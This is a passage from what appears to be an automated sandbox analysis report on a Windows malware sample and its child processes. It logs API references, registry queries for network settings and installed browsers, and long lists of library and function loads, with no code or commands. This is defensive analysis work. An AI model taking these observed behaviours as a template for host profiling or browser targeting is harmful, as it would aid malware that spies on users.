"00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")38:T5b4,Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")39:T595,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "30866400718,3036,3024,,RtlGetVersion,NTDLL.dll,"252:04:22.765",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002500.00000001.72275.00330000.00000004.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "8842420539,3616,3024,,RtlGetVersion,NTDLL.dll,"252:03:03.578",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp") Found reference to API "29375117383,2508,3024,,RtlGetVersion,NTDLL.dll,"252:03:09.468",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003332.00000001.68213.009E0000.00000004.mdmp")3a:T74a,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")3b:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")3c:T575,"AppLaunch.exe" queries volume information of "C:\" at 00000000-00000340-0000010C-6792497 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00003964-0000010C-44513338 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003964-0000010C-69089597 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003964-0000010C-69118258 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003964-0000010C-76851501 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003964-0000010C-76890654 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003964-0000010C-80204620 "AppLaunch.exe" queries volume information of "C:\" at 00000000-00003052-0000010C-189760363d:T3da1,"0c12cd0538bea9f88b40d52cf438f139.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004000) "bJ1qg86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003808) "Ac8sp85.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004008) "Ac8sp85.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004008) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\10IO12so.exe (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003332) "10IO12so.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00003332) "11GY8714.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000452) "11GY8714.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000452) "11GY8714.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000452) "11GY8714.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000452) "11GY8714.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000452) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000340) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\firefox.exe (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00003964) "AppLaunch.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00003964) "13Ef605.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002500) "13Ef605.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00002500) "13Ef605.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002500) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003052) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003052)3e:T112f7,"0c12cd0538bea9f88b40d52cf438f139.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004000) "0c12cd0538bea9f88b40d52cf438f139.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004000) "bJ1qg86.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003808) "bJ1qg86.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003808) "Ac8sp85.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004008) "Ac8sp85.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004008) "Ac8sp85.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004008) "Ac8sp85.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004008) "Ac8sp85.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004008) "10IO12so.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003332) "10IO12so.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003332) "10IO12so.exe" called 